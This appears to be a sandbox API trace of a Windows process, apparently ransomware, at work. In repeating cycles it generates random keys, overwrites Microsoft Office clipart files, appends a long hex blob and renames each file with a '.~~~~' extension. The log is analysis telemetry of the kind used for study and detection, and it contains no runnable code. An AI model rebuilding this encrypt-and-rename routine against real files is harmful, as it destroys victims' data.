	[0115.011] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.011] CloseHandle (hObject=0x148) returned 1
	[0115.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0115.011] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.~~~~")) returned 1
	[0115.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.013] GetLastError () returned 0x0
	[0115.013] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.014] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.014] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.015] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23500471498) returned 1
	[0115.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae0e2290, dwHighDateTime=0x1d60e1e)) 
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a4b8
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a4b8 | out: hHeap=0x300000) returned 1
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0115.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2838d18
	[0115.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.015] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.016] GetLastError () returned 0x0
	[0115.016] GetLastError () returned 0x0
	[0115.016] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.016] GetLastError () returned 0x0
	[0115.016] GetLastError () returned 0x0
	[0115.106] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff484, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.106] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xb7c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0xb7c, lpOverlapped=0x0) returned 1
	[0115.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.107] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.107] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.107] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.107] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.107] CloseHandle (hObject=0x148) returned 1
	[0115.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.~~~~")) returned 1
	[0115.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.109] GetLastError () returned 0x0
	[0115.109] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.111] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0115.111] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0115.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.111] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23510113564) returned 1
	[0115.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae1c6ad0, dwHighDateTime=0x1d60e1e)) 
	[0115.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a720
	[0115.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0115.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a720 | out: hHeap=0x300000) returned 1
	[0115.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0115.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af308
	[0115.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.112] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.112] GetLastError () returned 0x0
	[0115.113] GetLastError () returned 0x0
	[0115.113] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.113] GetLastError () returned 0x0
	[0115.113] GetLastError () returned 0x0
	[0115.116] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffd448, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.116] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2bb8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x2bb8, lpOverlapped=0x0) returned 1
	[0115.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.118] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.118] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.118] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.119] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.119] CloseHandle (hObject=0x148) returned 1
	[0115.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.119] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.~~~~")) returned 1
	[0115.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.120] GetLastError () returned 0x0
	[0115.122] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.123] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0115.123] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.123] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23511313730) returned 1
	[0115.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae1ecc30, dwHighDateTime=0x1d60e1e)) 
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a758
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0115.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a758 | out: hHeap=0x300000) returned 1
	[0115.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0115.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af4d0
	[0115.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.124] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.124] GetLastError () returned 0x0
	[0115.124] GetLastError () returned 0x0
	[0115.124] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.124] GetLastError () returned 0x0
	[0115.124] GetLastError () returned 0x0
	[0115.162] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe1a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.162] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1e58, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1e58, lpOverlapped=0x0) returned 1
	[0115.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.164] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.164] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.164] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.164] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.164] CloseHandle (hObject=0x148) returned 1
	[0115.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0115.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.~~~~")) returned 1
	[0115.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.194] GetLastError () returned 0x0
	[0115.194] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.196] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.196] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.196] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23518604712) returned 1
	[0115.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae2851b0, dwHighDateTime=0x1d60e1e)) 
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b5d0
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b5d0 | out: hHeap=0x300000) returned 1
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.196] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0115.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.197] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af568
	[0115.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.197] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.197] GetLastError () returned 0x0
	[0115.197] GetLastError () returned 0x0
	[0115.197] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.197] GetLastError () returned 0x0
	[0115.197] GetLastError () returned 0x0
	[0115.228] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff01a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.228] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xfe6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xfe6, lpOverlapped=0x0) returned 1
	[0115.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.229] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.229] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.230] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.230] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.354] CloseHandle (hObject=0x148) returned 1
	[0115.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0115.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00629_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00629_.wmf.~~~~")) returned 1
	[0115.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.356] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.356] GetLastError () returned 0x0
	[0115.357] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.358] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.358] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.358] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.358] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23534845726) returned 1
	[0115.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae4280d0, dwHighDateTime=0x1d60e1e)) 
	[0115.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283a9f8
	[0115.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283a9f8 | out: hHeap=0x300000) returned 1
	[0115.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0115.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28af8f8
	[0115.359] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0115.359] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.359] GetLastError () returned 0x0
	[0115.360] GetLastError () returned 0x0
	[0115.360] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.360] GetLastError () returned 0x0
	[0115.360] GetLastError () returned 0x0
	[0115.362] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffc9ca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.362] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3636, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x3636, lpOverlapped=0x0) returned 1
	[0115.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.364] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.364] WriteFile (in: hFile=0x148, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
